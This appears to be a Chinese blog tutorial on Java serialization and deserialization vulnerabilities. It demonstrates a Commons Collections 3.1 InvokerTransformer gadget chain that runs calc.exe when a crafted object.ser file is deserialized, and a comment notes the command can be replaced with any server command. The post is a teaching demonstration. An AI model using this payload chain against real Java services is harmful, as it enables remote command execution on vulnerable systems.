首页 > 编程语言 >Java反序列化漏洞实现

Java反序列化漏洞实现

时间:2023-09-14 14:45:54浏览次数:45  
标签:Java ser java object 漏洞 new import 序列化

Java反序列化漏洞实现

一、说明

以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂;反来在运营商做乙方经常会因为java反反序列化漏洞要升级commons.collections或给中间件打补丁,前面说的两个问题还是不懂;今天又研究了番,也还不是很懂只是能弹计算器暂且先记一下。

二、序列化和反序列化

序列化和反序列化应该是在学《java网络编程》的时候就写过了,所谓序列化就是把对象从内存写到磁盘文件或数据库,反序列化就是从磁盘文件或数据库读取对象。核心就是结构化数据和二进制数据的转换。注意序列化和反序列化都是针对对象不是类也不方法。

一直不明白为件么保存到文件要另外起个名字“序列化”,所以在相当长一段时间内都不敢肯定序列化就是写文件。以下直接举例明确序列化与反序列化的概念。

2.1 序列化对象对应类

我们这里使用的类很简单,就只设置了一个叫name的属性;另外凡需要序列化的类都需要实现Serializable接口

package com.ls.serdemo;import java.io.Serializable;

class SerObj implements Serializable {
    public String name;
}

2.2 序列化

序列化,我们这里就是实例化2.1中的SerObj类设置一下其name属性,然后保存到object.ser文件

package com.ls.serdemo;import java.io.*;

public class SerImp {
    public static void main(String args[]) throws Exception{
        // 实例化对象
        SerObj serObj = new SerObj();
        serObj.name = "serobj";

        // 以下就是序列化操作
        // 打开object.ser文件
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        // 使用writeObject()方法将serObj对象写到object.ser文件
        oos.writeObject(serObj);
        oos.close();
        fos.close();
    }
}

完成后object.ser内容如下:

img

2.3 反序列化

package com.ls.serdemo;import java.io.*;

public class DeSerImp {
    public static void main(String args[]) throws Exception{
        // 以下就是反序列化操作
        // 打开object.ser文件
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 使用从object.ser文件中读取对象
        SerObj deSerObj = (SerObj) ois.readObject();
        System.out.println(deSerObj.name);
        ois.close();
        fis.close();
    }
}

运行可以看到成功打印name属性

img

三、反序列化漏洞

反序列化漏洞不是java独有的其他语言也会有,但都一样是在反序列化时执行了注入的代码。

反序列化漏洞注入代码也不只一种形式,我们这里只以InvokerTransformer为例进行演示。

3.1 程序说明

为了简单起见这里没弄成web形式,但道理是类似的只是一个通过网络传数据一个通过磁盘传数据;我们这里只重写SerObj类和SerImp类,反序列化仍用2.3的代码。

建议直接建maven项目,commons.collections相应pom.xml依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

3.2版本将InvokerTransformer标志为不安全,使用时会抛出异常;4.4版本似乎已直接删除该函数(此即所谓java反序列化漏洞修复)。所以只能使用3.1版本。

另外网上很多教程不是使用这里“重写类”的方法,而是直接借助sun.reflect.annotation.AnnotationInvocationHandler实现代码执行,但在最新的jdk中似乎是进行了处理,至少我使用AnnotationInvocationHandler时没能弹出计算器,具体未分析。

3.2 反序列化攻击代码

package com.ls.serdemo;

import java.io.*;
import java.util.HashMap;
import java.util.Map;
// 用到的commons.collections包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class DeSerPoc {
    public static void main(String args[]) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),

                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
         // 执行calc.exe,把这里改成自己要执行的命令即可;服务器是linux就以成linux命令
                new InvokerTransformer("exec", new Class[] {
                        String.class }, new Object[] {"calc.exe"})
        };

        Transformer transformedChain = new ChainedTransformer(transformers);
        Map<String,String> beforeTransformerMap = new HashMap<String,String>();
        beforeTransformerMap.put("value", "value");
        Map afterTransformerMap = TransformedMap.decorate(beforeTransformerMap, null, transformedChain);
        // SerObjRewrite中的setValue能触发afterTransformerMap中的代码的执行
        SerObjRewrite serObj = new SerObjRewrite();
        serObj.map = afterTransformerMap;
        // 将对象写入到object.ser
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(serObj);
        oos.close();
    }
}

// 重写SerObj类,其实也不叫重写就随便新实现一个序例化类,重写序列化类的readObject方法,该方法在反序列化时会被自动调用
// 在readObject中调用setValue,setValue能触发注入代码的调用,这正是代码注入的关键
class SerObjRewrite implements Serializable {
    // name可有可无,又不是真重写
    public String name;
    public Map map;

    private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException , IOException {
        in.defaultReadObject();
        if(map != null){
            Map.Entry e = (Map.Entry)map.entrySet().iterator().next();
            e.setValue("400m");
        }
    }
}

此时object.ser(部分)内容如下:

img

3.3 反序列化利用结果

再次运行2.3的反序例化代码,执行结果如下。

由于我们序例化的时候其实是SerObjRewrite类而不是SerObj类所以程序会报错,但这无所谓因为是先执行的readObject后执行的类型转换,注入代码在程序类型转换出错前已被执行。

img

参考:

http://www.freebuf.com/column/155381.html

https://www.cnblogs.com/KevinGeorge/p/8448967.html

标签:Java,ser,java,object,漏洞,new,import,序列化
From: https://www.cnblogs.com/little-monster-lhq/p/17702430.html

相关文章

  • Java图片剪裁功能实现
    目前一些社交型互联网应用都有一些上传图片(例如头像,照片等)对预览图进行剪裁的功能。前一段时间在工作也遇到这个问题,总结一下基本实现步骤及代码(包含图片放大,缩小,设置品质,对指定点区域剪裁功能),使用JPEG格式图片测试通过,其它格式图片尚未验证。一、基本步骤:1.将图片文件的InputS......
  • Java动态代理详解
    不定期整理硬盘内源代码、笔记、总结等,同时发上来分享一下。今天再发一篇关于Java动态代理的总结(貌似ItEye一天最多发5篇Blog,再多只能放草稿箱了?)-----------------------------------------------------------Java动态代理详解说到动态代理,顾名思义就是动态的代理(真是废话)。关......
  • 设计模式回顾之一:单例模式(Java的4种实现)
    设计模式回顾系列文章:主要针对工作中常用常见的设计模式进行整理、总结,同时分享以供大家拍砖。------------------------------------------------作为一个程序员,我并不知道"茴"字有4种写法。但是,我知道单例有4种写法。单例模式目的:保证一个类仅有一个实例,并提供一个访问它的全局访......
  • 无涯教程-JavaScript - ISREF函数
    描述如果指定的值是参考,则ISREF函数返回逻辑值TRUE。否则返回FALSE。语法ISREF(value)争论Argument描述Required/OptionalvalueAreferencetoacell.RequiredNotes您可以在执行任何操作之前使用此功能测试单元格的内容。适用性Excel2007,Excel2010,Excel......
  • How to fix java.net.SocketException: Too many files open in tomcat
    NotmanyJavaprogrammersknowsthatsocketconnectionsaretreatedlikefilesandtheyusefiledescriptor,whichisalimitedresource.Differentoperatingsystemhasdifferentlimitsonnumberoffilehandlestheycanmanage.Oneof......
  • java/jsp清除jsp缓存
    InJava:HttpServletResponseresponse=(HttpServletResponse)rep;response.setDateHeader("Expires",-1);response.setHeader("Cache_Control","no-cache");response.setHeader("Pragma","no-ca......
  • Rules for good java.util.Timer use
    ManypeoplehaveprobablyusedTimerforsomequickone-offtimertaskswhereusingawholelibrarylikeQuartzdon’tmakesense.OnethingtobeawareofisthatTimer’sconstructorwillstartandspawnathread.Thisisarecipefor......
  • java 日期函数
    得到过去的时间:exampleone:privateDategetDateTime(){ Calendarcalendar=Calendar.getInstance(); calendar.set(2011,Calendar.DECEMBER,1,23,0,0); returncalendar.getTime();}exampletwo:String.valueOf(newDate().getTime()-2......
  • (转)HashMap出现 java.util.ConcurrentModificationException
    Iterator<Integer>keys=gradeMap.keySet().iterator();while(keys.hasNext()){Integeri=keys.next();if(!gradesIds.contains(i)){//keys.remove();gradeMap.remove(i);}......
  • go 语言比java的优势提升编程效率的利器
    示例示例Go语言比Java有如下优势:Go语言的编译速度更快,可以提高开发效率。Go语言使用编译器进行编译,而Java使用解释器进行编译,Go的编译速度更快。Go语言比Java有如下优势:1.Go语言的编译速度更快,可以提高开发效率。Go语言使用编译器进行编译,而Java使用解释器进行编译......